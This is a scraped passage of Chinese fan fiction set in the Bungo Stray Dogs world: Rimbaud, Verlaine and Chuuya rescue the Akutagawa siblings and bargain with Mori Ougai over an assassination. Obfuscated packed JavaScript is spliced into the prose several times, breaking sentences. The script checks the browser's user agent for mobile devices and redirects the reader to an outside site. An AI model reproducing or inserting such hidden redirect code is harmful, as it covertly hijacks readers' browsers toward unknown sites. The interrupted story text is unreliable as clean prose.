d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871204|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟……” 跟…… 跟谁一样? 大脑又鸣叫起无端的疼痛,兰波闷哼一声,扶住额角,魏尔伦紧张地站了起来, “兰波?” “没事。” 兰波揉揉眉心,摇摇头, “突然头疼,是老毛病了。” 她这一年生存情况好一些之后也找过几个医生,可得到的答案大都是说她大脑内部有问题,唯一详尽一些的诊断是告诉她可能存在撞击下产生的血块,压迫住了某些神经,目前没办法治疗。 好在这种情况并不多见,除非她刻意要去回想那些失去的记忆。 看着魏尔伦还有些担忧的神情,兰波安抚地拍拍他的手, “真的没事,吃饭吧,等下还要出门。” 中原中也已经老老实实地把松饼切了块——她本来以为这东西这么软,可以像那种一整片的吐司一样压缩成一小块吃,没想到体积太大嘴太小。她叉起一小块松饼送进嘴里, “要去……唔……去兰波姐姐的房子吗?” “是——但吃饭的时候尽量不要说话。” 兰波轻轻敲了敲桌子, “这是很不礼貌的行为。” 哦。 橘发女孩眨了眨钴蓝色的大眼睛,把这个知识记进脑子里。 饭后,兰波拒绝了魏尔伦开车前往的提议。 昨天开车去擂钵街是为了彰显实力,更方便地带走中原中也,今天回去拿东西是为了彻底离开横滨,如果因为那辆车吸引注意,导致她的东家——现在也许该叫前东家的PortMafia发现她并不是失踪,而是打算不告而别,从而引出其他的事端就不太好了。 事情也正如兰波所言,她家附近有几张熟悉的面孔,都是PortMafia在发现她的电话彻底打不通后,前来探寻她下落的。黑发女性思索片刻,带着魏尔伦和中原中也走向靠近擂钵街方向的一条回家的捷径——也就是前天中午,她和魏尔伦相遇的那条小巷。 小巷不长,三人的脚步声都很轻,走到一半,兰波却突然停了下来。 有极其细微的声音从路旁的废墟中传来,兰波刚把中原中也拉到身后,魏尔伦已经掐着隐藏之人的脖子,将他提了起来。 那是一个相当瘦弱的孩童,应该比中原中也还要小几岁,黑色的长发在发尾处有些发白,此刻瞪着眼睛,看了眼橘发女孩,又抬起头,明明身体在害怕地颤抖着,声音也因压迫而嘶哑,可他的眼神却像是玻璃做的锥子,坚定地看向魏尔伦, “是你们带走‘羊’的。” “羊?” 魏尔伦挑眉,兰波轻声解释, “收留中也的那群孩子成立的组织。” 原来如此。 感受着手中男孩轻得可怕的身体,魏尔伦瞥了眼他的黑色半长发,姑且松了些力道,转而拎着男孩宽大上衣的后领口, “你找他们有事?” “……” 黑发男孩沉默片刻,衣服的下摆突然闪动着化作利刃,在刺中魏尔伦前,被暗红色的流光挡下,随后很快恢复原样。 魏尔伦并未从男孩的动作中感受到任何敌意,有些疑惑, “你要做什么?” “这是我的异能力‘罗生门’。” 黑发男孩沉声回答, “我叫芥川龙之介,我会努力成为厉害的异能力者,拥有报答你们的能力——所以求你们……” 他的声音哽了一下, “求求你们救救小银——救救我的妹妹。” 8. 兰波老师我们喜欢你 芥川龙之介。 魏尔伦听过这个名字——在那个肮脏灵魂残缺的记忆中。 等待拍摄的间隙,装扮成兰波模样的人类少女控诉他的“木头”时,间或穿插一句“zwkfk真是个神经”一类的批判词,尤其是与刚认识不久的,另一名装扮成中原中也模样的少女谈及最喜欢的“角色”时,更是毫不留情地痛骂着, “芥川大老师可是我唯一喜欢的日本文豪,可恶的zw自己是个文盲也就算了,还要让芥川大老师也当文盲,真是——” 回忆的碎片到此便戛然而止,这段内容除了再次强调“文豪x犬”世界在其他世界的投影接受者名为zwkfk外,并没给魏尔伦带来更多信息,是以他也一直将其归类于“无用”的一档。 现在看来,好像有些用,但不多。 魏尔伦松开拎着男孩的手,没去看男孩踉跄的身影, “我们并不需要你的回报。” 可能是这个世界的重要人物又如何?他没有闲心管一个人类男孩的事情。 兰波倒是有些不一样的想法,但打算开口的瞬间,手中牵着的细嫩手掌紧了紧,她垂眸,看到中原中也有些按捺不住的表情。 看来轮不到她说了。 “……我知道了。” 果然,寻求他人的帮助,本就是不该奢望的事情。是他太天真也太着急,才会这样暴露底牌。 芥川龙之介攥紧拳头,话说到一半,又忍不住咳嗽起来, “咳咳咳——咳咳——” 他捂住嘴,转身想要离去。 “等一下。” 中原中也果然开了口, “芥川,你妹妹发生什么事情了?” “……” 芥川龙之介看了眼橘发女孩,他也是昨天被听说擂钵街来了两个有钱人的伙伴们拉去看热闹,才第一次见到“羊”的这个异能力者。 昨天被带走时,女孩身上穿着的还是破旧肥大的衣服,整个人都灰扑扑的,现在却已经完全变了一个样。他并不觉得羡慕,只觉得对不起银, “‘羊’走之后,我和伙伴们去了那处房子。” 芥川看了眼魏尔伦的表情,金发的外国人并没有阻止妹妹的意思,他稍稍安下心来,沉声讲述, “‘羊’的房子是擂钵街中相当不错的据点,我们只住了一个晚上,就有同样得知消息的人来抢房子,他们有一支手枪。” 话说到这里也就足够明了,就算是异能力者,以芥川龙之介目前的异能水平,面对持械的一群大人,能保住自己已是万幸,自然无力护住伙伴和妹妹。 中原中也皱着眉毛,抬头看向兄长, “哥哥,我们帮帮他吧。” 可魏尔伦依然无动于衷,唇角惯性勾起的弧度带着漠然的冰凉, “浪费时间。” 自不量力者遭遇弱肉强食罢了,他没兴趣去关心人类。 “他、他、他可以——” 橘发女孩一边用眼神安抚黑发的瘦小男孩,一边绞尽脑汁想着对方能做到什么,兰波摇摇头,替她说出理由, “‘羊’的那些孩子脱离擂钵街后,失去了唯一的异能力者,很有被可能之前得罪过的人寻仇。” 她看了眼芥川龙之介,轻声解释, “中也虽然已经跟那群孩子没有关系,但他们既然收留了中也两年,就让这孩子也帮他们两年。” 中原中也实在是个很容易被看透的孩子,昨晚提到要离开横滨时遮掩不住的失落,听她说还可以回来看看时,又雀跃着期待——既然是保罗的妹妹,用这样不过举手之劳的小忙就能提高信赖,加深兄妹间的感情,何乐而不为呢? 魏尔伦大概听明白了,他看了眼兰波,又瞥了眼芥川龙之介, “你在这里等我们。” 可以帮忙,但他要先陪着兰波去拿东西。 “不用。” 兰波摇摇头, “我和中也回去拿东西,保罗跟他去把妹妹带出来吧。” 看着魏尔伦瞬间微蹙的眉头,她牵住魏尔伦的手,轻轻握了下,又补上一句, “不会很久的,嗯?” 魏尔伦盯着一黑一白交叠着的手套,忽然有些讨厌戴手套这个习惯, “……好。” ———————————————————— PortMafia的人还没走,兰波牵着中原中也,巧妙避开所有盯梢人的视线,绕了半圈,走到小屋的后窗处,玻璃已经被砸开,但内里粗厚的一层铁丝网显然令砸掉玻璃的人气急败坏,才会踹断了一旁的树苗。 兰波放轻声音, “进去之后不要说话。” 她掏出钥匙,打开铁丝网上坚实的三处暗锁, “他们虽然进不来,但前门一定有人守着。” 还好她陆陆续续给安全屋加上了多层防护,还习惯性地拉上所有窗帘和门帘。 “嗯。” 中原中也乖巧地点点头, “需要我做什么吗?” “不用。” 兰波已经推开了铁丝网, “万一进去看到敌人,保护好自己就行。” 她不过是个中低层的异能力者,对外表现出的异能力并不强,PortMafia不会大张旗鼓地调查她失踪的情况,对手应当全是普通人,唯一需要担心的就是枪械。 而事实证明,兰波高估了PortMafia这些底层成员的能力,屋内没有任何被入侵的迹象。她轻手轻脚走到卧室,将那本被密码和异能力封锁的手记本拿出来,放到爆炸后醒来时身上所穿的那套不太合身的衣服里,再将衣服裹成方块,塞进背包中。 随后,带着中原中也飞速赶回方才的小巷,魏尔伦果然早就等在那里,他的身侧,是坐在一起的两个黑发孩童。 “她受伤了?” 兰波闻到了血腥味。 “枪伤,不严重,我简单做了处理。” 魏尔伦眨了眨那双漂亮的蓝眸,非常顺手地拎住兰波身后被塞满的背包,斜挎在肩上, “现在送他们去诊所就行。” 诊所? 瘦弱的男孩本以为这样取出子弹然后止血就足够了,听到还能去诊所,瞬间抬起头,带着微弱的祈求,看向兰波。 倒也不是不行,但芥川银身上是枪伤,只能去地下诊所。 兰波还在思索,中原中也已经走过去,帮忙扶起肩膀中枪的黑发女孩, “去哪个诊所?” 擂钵街里不是没有黑诊所,只是中原中也都不太熟,一来她很少受伤,用不到,二来,黑诊所的价格并不是“羊”能负担得起的。 “新开的那家。” 兰波看了眼三个小孩,思索片刻,调整队形, “走吧保罗。” “……” 魏尔伦左手抱着浑身僵硬,简直要炸毛的芥川龙之介,右手抱着已经昏迷过去的芥川银,背后背着背包,看着手牵手走在前面的兰波和中原中也,步伐僵直地跟上。 ———————————————————— 黑发紫眸的医生快速检查完毕,微笑着给出诊断, “需要做一下消炎缝合,别的没什么大问题。” 就是严重营养不良——不过这是擂钵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871205|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 街长大的孩子们共有的问题,在这里甚至算不上疾病。 “那就处理吧。” 兰波看向芥川龙之介,并不避讳还有医生这个他人在场, “刚才的条件你都听清了,两年后你就可以自由。” “……我知道。” 芥川龙之介抬起头,黑色的双眸中写满认真的谢意, “我会遵守承诺的。” 听到他的回答,兰波打开挎包,将属于自己的那张银行卡递给他, “里面大约有100万,足够诊疗费。” 说完,她就拉着还有些担忧的中原中也走出诊所,魏尔伦靠在门口,侧过脸询问, “弄完了吗?” “还差一点,不过交给森医生就行。” 兰波有点累了,她很少在外面走这么久, “我们回去——保罗!” 魏尔伦的速度比她的声音更快,暗红色的屏障挡住扫射而来的子弹,金发青年的脸色瞬间阴沉下来, “PortMafia?” “应该不是。” 兰波皱着眉, “他们没发现我,这群人我也不认识。” 目前的PortMafia并不是什么大帮派,不过是凭借首领还算强大的异能力以及中等偏上的管理水平,在横滨占据一席之地而已,她虽然不认识所有人,但作为擂钵街附近的小组长,至少对这周围的成员都能说眼熟。 “是找我的。” 森鸥外的声音从屋内传来, “我在缝线。” “……” 这家伙脸皮真厚。 兰波无语地抿了抿嘴, “能谈和吗?” “大概不行。” 森鸥外回应得毫不心虚。 魏尔伦挑眉,重力挤压着空气,无形的风刃瞬间收割所有来者的生命, “那就这样吧。” 他毫不在意地牵起兰波的手, “回去了。” “……” 这位更是雷厉风行。 兰波叹了口气,无奈地跟上。 回程的路很安静,一直叽叽喳喳的中原中也沉默得有些奇怪,直到走进套房,都一言不发,不知道在想些什么。 兰波有点担心她会因为刚才的场景害怕兄长,领着她洗完手之后,柔声询问, “中也有哪里不舒服吗?” “没有。” 中原中也拨浪鼓似的摇头, “我在想刚才……” “刚才?” 兰波引导着提问, “是害怕吗?别担心,保罗杀的都是坏人。” “不是的。” 中原中也握住兰波的手,钴蓝色的眼睛闪闪发光, “哥哥说他的能力也是重力,那是怎么做到那种效果的呢?” 她回来的一路上都在琢磨,怎么都想不明白。 “……?” 兰波愣住了,而魏尔伦的脸上扬起张扬的笑, “用重力操控空气,摩擦挤压,能够释放出风,速度足够快时,就能变成风刀。” 他满意地看了眼妹妹, “等到了北欧我就教你。” “……” 兰波深吸一口气——她倒不是反对杀人,只是担心一次性在面前死太多人,会过于冲击橘发女孩年幼的心灵,现在看来,这方面是没什么问题,新的问题却又重新出现。 做事情不能这么鲁莽,哪怕拥有再强大的力量,也该考虑可能会有的后果,谋定而后动。 她瞥了眼魏尔伦,深感教育之路,任重而道远。 9. 教育进行中 小孩子大都精力旺盛,可毕竟年龄小,精力也是有限的。 今天上午经历的事情,除开最后数十人同时死亡的一幕外,整体来说,在中原中也短暂的两年多擂钵街生涯中,虽算不得惊险刺激,但足以称得上充实有趣——至少与在“羊”的时候跟着白濑游荡在擂钵街里,伺机找人下手相比,是更加正向的有趣。 所以吃完午饭后,上午耗费太多精力的橘发女孩便又昏昏欲睡起来,她已经学会了自己洗脸刷牙,又乖乖把鞋袜脱掉,换上印满棕黄色小狗的睡衣,钻进柔软的被窝里,看着坐在沙发边的兰波,认真询问, “兰波姐姐,一起睡觉吗?” 可惜,兰波昨天睡了太久,这会儿没有半点睡意,她甚至没转头,只是语气平淡地回应, “中也自己睡吧。” “哦……” 橘发女孩的声音变得有些低。 平心而论,兰波的怀抱并不算舒服,高挑的黑发女性实在瘦到有些吓人,枕在她手臂上时,能直接感受到脆弱的血管与分明的骨骼,而且中原中也并不是没被人拥抱着睡着过——以前天冷的时候,“羊”的孩子们会挤在一起,像是抱成一团的棉花球。 可兰波的怀抱和同伴们的怀抱确实有些不一样,中原中也说不清楚,只觉得兰波有种莫名的亲密感,似乎她们之间存在什么看不见的联系,于是,就连有些硌人的怀抱,也因为主观意识而变得舒适起来。 听出她的失落,兰波顿了顿,还是走到床边,俯下身,给乖巧躺好的小女孩一个柔软的额头吻, “午安,中也,做个好梦。” 那双钴蓝色的眸子瞬间亮了一个度,橘发女孩微笑着,小声回应, “午安,兰波姐姐。” …… 兰波和妹妹相处得很好,这本是魏尔伦曾经很希望看到的温馨画面,但此刻,人造神明心中却有些说不清道不明的酸涩。 看到兰波转身回来时,他不露痕迹地侧过脸,假装自己还在看书,全然没发现唇角下压的弧度已经充分出卖他的心情。 作为高档酒店,套房内提供的洗发露是淡雅的天然花香,魏尔伦不太能判断得出来是什么花,总之是他并不反感的味道。花香停留在身侧,兰波重新坐了回来,带着香气的黑色发丝拂过他的小臂,魏尔伦还没抬头,她已经轻声道歉, “抱歉,保罗。” “……没关系。” 魏尔伦抿抿嘴,而兰波似乎没有发现他的异常,在挎包里翻找起来,片刻后,拿出一条深蓝色的发绳, “保罗。” 她轻轻扯了下魏尔伦的袖口, “可以帮我把头发扎起来吗?” “……” 魏尔伦沉默着放下书,拢起兰波的长发,与记忆中并不相似的触感令他愣了一下,不由自主地攥紧, “你的头发……?” 兰波的头发不该是这样的,兰波的头发——应当是柔软顺滑,带着绸缎的光泽,发尾打着玫瑰一样的卷儿,而不是摸起来仿佛缺水的蒲草,连弧度都变得稍显平缓。 “我的头发怎么了?” 兰波不清楚他在想什么,微微侧过脸,魏尔伦却刚好瞥见她瘦得锋利的下颌。 …… 人造神明干涩地微笑起来, “没什么。” 他动作娴熟又轻缓地将手中长发编成一整条辫子,再用那条发绳系紧, “好了。” “谢谢。” 兰波坐正身体,瞄了眼魏尔伦,金发青年已经又拿起那本书看着,面上的表情也恢复平静,她歪歪头,还是放弃了主动凑过去的想法。 于是,在魏尔伦视线的余光中,兰波将背包打开,掏出那身旧衣服,先将夹在里面的手记本放进挎包里,又抖开那套衣服,打算用套房的洗衣服务再清洗一遍——之前一直放在衣柜里,虽然说不上脏,但既然能洗,肯定还是洗一下比较好。 “……这是你的衣服吗?” 魏尔伦合上书,冷不丁地开口,兰波转过来看他, “是我之前的衣服。” “看起来好像不是很合身。” 人造神明紧盯着兰波,意有所指地追问, “你没觉得哪里不对吗?” “?” 魏尔伦的话确实触碰到了某些开关,兰波此前很少会思考这个问题,现在眉头紧锁地想着,却怎么都想不起来,不能理解自己曾经为何会穿着这样一身不合身的衣服。思索良久,才姑且找到一个解释, “只是大一些而已,穿上并不奇怪——我可能买不起太合身的衣服。” 毕竟这套衣服的料子和做工都相当好,否则她也不会一直留着,打算等什么时候有时间了就找个店改一下尺寸——而这样好的衣服,价格必然也相当昂贵,若是失忆前的她考虑到自己以后还会再继续长高,所以买下这套保暖又舒适的衣物,也不是没有可能。 “……” 不。 兰波怎么可能买不起? 从他认识兰波开始,对方就是被铁塔娇养着的超越者中年龄最小,也因此有许多特权的那个,虽然兰波的性格并未因此就变得骄纵,但该享受到的东西,她从来都享受得心安理得。 特意挑选的僻静小屋,常年烧着橡木与桦木的壁炉,纯羊毛的地毯,看似不起眼,实则每件都用料讲究,做工精细的衣服……就连魏尔伦如今这副精致高贵的绅士模样,也是兰波在搭档的过程中,在任务的间隙里,一点一点培养出来的。 这样的兰波,怎么可能会买不起合身的衣服?怎么可能会因疲累与饥饿而营养不良?她的头发更不该是这样近乎枯草一般的质感。 本应是提示兰波关于过往记忆的话题,被一句无心的回应变成刺向自己的刀,魏尔伦的微笑僵在脸上,片刻后,恍然回神, “等到了目的地,多定做几身衣服吧。” 他亡羊补牢般策划,嗓音带着不甚明显的沙哑, “这边买到的靴子质量可能也不太好,到时候再定制几双,用獭毛做内衬,会更柔软保暖。” “……” 藏不住事的漂亮笨蛋,感觉下一秒就要哭出来了。 兰波看着他,原本因想不起曾经的记忆而变得有些烦躁的情绪,被细细密密的棉花糖包裹着消失,只余下柔和的笑意, “……好。” 她将衣服放在门口,呼叫管家后,又快步走了回来, “保罗。” “嗯?” 魏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871206|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尔伦抬起头,随后怔愣着,接受了轻软的——落在唇角的吻。 兰波语气平静地说明, “这是补上的早安吻。” ———————————————————— 按照魏尔伦的计划,在日本逗留两天,跟妹妹稍稍熟悉之后,就该乘上游轮离开这里,开启漫长的全球旅途。 但人算不如天算,更何况魏尔伦不是人。 所以原定计划中,应当是宅在套房里平静休憩的最后一天,还没等坐不住的中原中也提出抗议,魏尔伦的手机先传来急促的铃声,人造神明瞥了一眼,看到不认识的号码,当即挂断。 然而,安静只维持了两秒,那只手机再次响起来, “……铃铃铃铃铃!” 魏尔伦皱起眉头看过去——还是相同的号码,他想了想,用重力覆盖全身后才接起电话,而电话那头传来的,是仅一面之缘的声音, “兰堂小姐——救命——” 青年男性似乎躲在什么地方, “还是昨天那群人,他们又找过来了!” 是森鸥外。 兰波眨眨眼,凑到手机旁, “森医生?” “是我,救命啊——小芥川帮我挡着的时候被抓走了,银酱还在这里——” “……等会儿就到。” 兰波按掉电话,抬眸看向魏尔伦, “走吧,保罗。” 她看出魏尔伦有反驳的想法,但这会儿没心情逗他,抢在对方开口前,拉着已经满脸着急的中原中也,柔声细语地询问, “昨天保罗什么都不问,不考虑后果就杀了那么多人,才会导致今天这么急迫的情况,不仅令森医生更加危险,还让芥川被抓走了——中也想明白什么道理没有?” “要……不要那么莽撞?” 中原中也有些迟疑地回答。 “嗯,说得没错。” 兰波赞赏地揉了揉她的发顶, “在做任何事情之前,都应该先想好目的是什么,结果是什么。而且,最好有唯一的目标,才能够精准地朝着目标前行,并将其达成。” 中原中也是个聪明孩子,她瞬间反应过来, “那我们现在要过去的目标是?” “是去救出那三个人。” 魏尔伦压着唇角,虽然在抢答,但语调沉闷, “在这个过程中,还要舍弃感情,不能因为个人情感就做出多余的行为——比如等会儿如果看到芥川龙之介受了重伤,记得我们的目的是救人而非报仇,别被愤怒冲昏头脑,以为凭借自己的能力可以毫发无损地完成两件事。” “哦……” 中原中也似懂非懂地点点头,将兄长的话也一并记在心里, “那我们现在赶紧去救森医生和芥川他们吧。” 兰波刚抢了魏尔伦的话,现在又被他同样抢回来,憋不住笑意地瞟了他一眼, “保罗说得很对。” 她牵住魏尔伦的手,轻轻捏了两下纤长的手指,以示抚慰, “走吧。” “……” 温柔果然是假象,兰波根本一点没变。 魏尔伦一边别扭地想着,一边乖巧地被牵着往前走。 10.一些交易 “森医生……” 芥川银的声音有些虚弱, “哥哥他、他还能回来吗?” “……能,放心吧小银,龙之介肯定能回来的。” 森鸥外握紧女孩的手,脸上的表情是与方才通话时截然不同的冷静。 今早刚起床没多久,森鸥外就发现小屋外被围了个水泄不通,为避免状态刚稳定下来的芥川银再次受伤,他先推着芥川银的病床走进暗室,才开始思考解决现状的办法。 但也正因如此,买完早餐回来的芥川龙之介透过窗户看到屋内无人后,愤怒之下与包围小屋的组织起了冲突。 若非这个情况,森鸥外也不会想到给兰波留下的号码打电话——毕竟芥川银和芥川龙之介是魏尔伦和兰波救下来之后寄养在他这里的,纵然救下芥川兄妹可能只是顺手而为,但以他对兰波几面之缘的了解,对方绝不会放任超出自己计划范围的事情发生。 而且…… 森鸥外有点咬牙切齿地想——要不是昨天那个叫作保罗的男人直接把来找事的人全都杀了,他本来是可以借此机会直接接触到对方的高层,为自己的地下黑医身份背书,从此打开进入横滨地下的大门的。 可惜,这条路已经被昨天艰难处理才只处理了大半的一堆尸体全部堵死。 所以他现在决定换个对策—— “——森鸥外!再不出来,我就杀了这小子!” “……” 还没到吗!?再不来,他的PlanB也要没用了。 好在,魏尔伦和兰波的速度很快。 黑色轿车冲进小巷,撞飞几人后,在诊所大门前横停,被冲散的人群中,唯有晕厥的芥川龙之介被暗红色光芒包裹住,颤颤巍巍飞向轿车。 轿车中,中原中也努力控制着力道,等黑发男孩落到车窗边才松了口气,小心翼翼地将他放下, “芥川,你没事吧!” 橘发女孩探出头,当她看清芥川龙之介的情况时,就明白自己的问话完全是废话——瘦弱的黑发男孩身上本就有旧伤,昨天好不容易收拾得干净了一些,现下又叠上一层淤青,变得破破烂烂,尤其是那张之前还能称赞一句秀气可爱的脸,已经肿起一边,硕大的鞋印赫然其上。 “……兰波姐姐,先让芥川进来吧。” 中原中也的声音瞬间冷下来,那双钴蓝色的眸子紧盯外面的人群,暗红色的光芒围绕着她闪烁,兰波瞥了她一眼,打开车门,将芥川轻轻抱进来,平静地提醒, “中也,记得我们的目的。” “……” 救人,而非给森鸥外或芥川报仇。 橘发女孩深吸一口气,抿着嘴, “我知道。” “嗯。” 兰波坐在车中安排兄妹二人的工作, “保罗,去把森医生和小银带出来,中也,注意防御子弹,屏息凝神,增加空气密度,直至形成屏障。” 至于她自己——她不能出手,昨天见过她的人都死了也就算了,如果今天继续露面,很有可能暴露身份,作为横滨地下规模中等偏上的组织,PortMafia中不乏异能力者,虽然她觉得自己对PortMafia没有那么重要,但毕竟掌握着不少内部情报,PortMafia的首领是位老年痴呆预备患者,如果对方忽然突发奇想来抓她,恐怕会引出很多不必要的事端。 极其微小的金色立方体在芥川龙之介身上游移,缓缓修复黑发男孩身上过重的伤势,中原中也听到他逐渐平稳的呼吸,心情也稍微放松一些,循着兰波的指引,专注防御。 魏尔伦瞥了眼兰波,在这样久违的熟悉语气下,忍不住思考自己是否有什么问题——他都已经叛逃了,为什么还要听兰波的话? “保罗?” 兰波歪歪头,看向纹丝不动的漂亮笨蛋, “速战速决。” ——速战速决。 ……果然是这句话。 魏尔伦的眼神很复杂,唇角却因兰波的话而勾起明显的弧度, “好的,兰波。” 太久没听兰波说这样的命令,竟然还有些怀念。 金发青年的速度极快,他在轿车遮掩下,打破窗户所在的那面墙,溜进屋内,又顺着呼吸声传来的方向找到暗室入口,暴力拆解掉大门,逆着光站在那里,看向躺在病床上的芥川银和坐在一旁的森鸥外,保持微笑,语气冷漠, “走吧。” “……我姑且问一句,您没有把外面的人全杀了吧?” 森鸥外小心地抱起芥川银,他身后传来窸窸窣窣的声音,一个金发蓝眼的小女孩从纸箱下钻出来,牵住他的衣角。 魏尔伦不带感情地看了眼金发女孩,挑起一侧眉头, “没有。” 他的视线似乎有些太过锋利,金发女孩瑟缩地向后躲去, “林太郎……” “没事的爱丽丝,是救我们的人哦~” 听到女孩开口,森鸥外的声音变得相当细窄而尖锐,令魏尔伦觉得有点恶心,他皱着眉,不耐烦地转身, “把你的异能体收起来,车上坐不下。” “……” 啊。 爱丽丝对着森鸥外眨眨眼睛——被发现了呢。 森鸥外的笑容僵硬一瞬,思索片刻,最终还是听从魏尔伦的话,对爱丽丝轻声道歉后,他解除异能力,抱着芥川银跟上魏尔伦的步伐。 ———————————————————— 黑色轿车被抛弃在擂钵街的边缘,魏尔伦将整辆车先揉成铁球,又切成碎屑,才飞速回到临时落脚点——离擂钵街不远的一个废弃小屋中。 这也是兰波的安全屋之一,她检查一下里屋的电路,安排中原中也和芥川兄妹先进去休息,随后轻轻锁上门, “说说情况吧,森医生。” 那双碧绿里带着些金芒的眼睛盯着森鸥外,令后者有种被猛兽盯上的战栗, “……是之前没能治好一个小高层。” “是吗?” 兰波垂眸——安全屋里只准备了两张单人沙发,她想了想,干脆挤到魏尔伦身边, “我不认为凭您的医术,会出现治不好的情况。” 在她认识的所有地下黑医中,森鸥外不是收费最贵的,但确实是治疗成功率最高的,只要不是异能力造成的无解之症,对方基本都能治好。 更何况,以她对森鸥外的粗略了解,这位忽然出现在擂钵街旁的地下黑医,绝对有着不小的野心,同时也有着与之相匹配的智慧。 因此,森鸥外说是失误? 她百分之八百地不信。 “……好吧。” 森鸥外小声解释, “我只是希望以此为跳板。” 他将Plan A全盘托出后,又怨念地瞅了眼打破他规划的魏尔伦,但魏尔伦没理他。 即使已经和兰波做过最为亲密无间的事情,又同床共枕三晚,可在外人面前以这样亲近的距离坐在一起,还是令人造神明有些不适应,他默默侧了点身体,给兰波留出足够的位置,只是这样一来,左臂有些无处安放,停顿半晌后,才缓缓落在兰波纤细的腰身上,轻柔环住。 森鸥外看得牙疼,干脆移开眼, “这件事牵连到小银和龙之介是我的问题,但昨天的情况……” ……昨天的情况是身旁这个连搂人都不熟练的漂亮笨蛋的问题。 兰波叹了口气,自觉理亏, “芥川兄妹还要在你这里调养一段时间,但我们明天就要离开横滨,你有什么计划是我们可以帮忙的——不要太过分。” 哇哦。 森鸥外眨眨眼睛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14874324|159563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,有些意外——他印象中的兰波可没这么大方,这就是爱情的力量吗? 黑发紫眸的男性脸上挂着有些殷勤的微笑, “能否请这位保罗先生帮我杀一个人,再伤一个人?” 杀一个人?伤一个人? 魏尔伦好像明白了什么,但他不打算自己决定,因此没说话,只是侧过脸,看着兰波的发顶。 这是很新奇的角度——17岁之前他比兰波要低一些,17岁到19岁,两人的身高都飞速攀升,但那时候差距只维持在10cm左右,如今过去两年,竟然飙升至将近20cm。 兰波摇摇头,从魏尔伦的角度看过去,就是墨色的发顶轻软地晃了晃。 像黑猫。 魏尔伦忽然无端地联想到这种脆弱的动物,然后又想起曾见过的黑猫油亮光泽的皮毛,于是暗暗下定决心,要尽快给兰波补好身体,让这头长发恢复原有的质感。 他一连串的思维没有影响到兰波,黑发女性已经有了新的想法, “杀人可以,但同时我也有一个新的要求。” 芥川龙之介的性格太偏执莽撞,如果让他野蛮生长下去,就算有异能力庇身,不至于在两年中因冲突死在某个角落,也肯定做不好暗中保护“羊”成员的事。 “所以,我们帮你完成驱虎吞狼的计划,让你拥有初步的权力,而你……” “接替芥川的责任,保护那群孩子两年。” 森鸥外倒是不惊讶兰波猜到他想杀的是谁——杀死目前这个针对他的组织的首领?立刻就会有新的首领顶替,所以不如暗杀PortMafia的一个高层,嫁祸于人,他也能靠医治来顺势加入PortMafia。 至于为什么是PortMafia…… 一方面是因为这家帮派确实是目前竞争潜力最大的,另一方面则是因为,PortMafia的首领刚愎自用、心胸狭隘,更容易为他所用。 眼看PlanB马上就能顺利完成,森鸥外心情大好,爽快地附赠一个条件, “芥川兄妹待在我这里不是什么好去处,我会将他们送到更合适的地方。” 芥川银是个普通孩子,目前看不出天赋,芥川龙之介的异能力倒是有很大的发展空间,可他的性格不行,与森鸥外现在需要做的事情背道而驰。 与其强留,倒不如顺水推舟做个人情,既能让芥川兄妹对他感恩,也能显示出自己对待合作者的大方,谋求未来跟兰波再次合作的机会。 兰波眨眨眼,没问他要把芥川兄妹送去哪, “可以。” 她轻轻拍了下魏尔伦的大腿, “麻烦你了,保罗。” “嗯。” ——反正在兰波看来,他只要安静地听安排就好。 魏尔伦抓住她的手,面无表情地开口, “人名、地址。” “说起来。” 在森鸥外回复之前,兰波忽然提出新的要求, “有合适的女性尸体吗?” “……有。” 森鸥外微笑, “我会做一下伪装,等晚上一并带过来的。到时请保罗先生带过去扔在现场就行。” “谢谢。” 终于沟通完,兰波想要站起身来,奈何腰上环着一只手,右手又被紧紧握住,她无奈地放软声音, “保罗,去把中也喊出来,我们回去吧?” “……” “保罗?” 兰波的语调撒娇一样轻柔,魏尔伦的神色终于缓和下来,他抱着兰波站起来,又将兰波轻轻放下, “好。” “……” 人名、地址和要求等下发短信好了。 森鸥外假装头疼,低下头揉揉眉心,心中暗暗咋舌—— ——这就是爱情的力量吗? 11.大猫依人 森鸥外是个追求高效的人,而且他的时间不多,如果不能在今晚之前解决这些事情,明天魏尔伦和兰波带着中原中也离开后,他势必会面对更加难以收拾的局面。 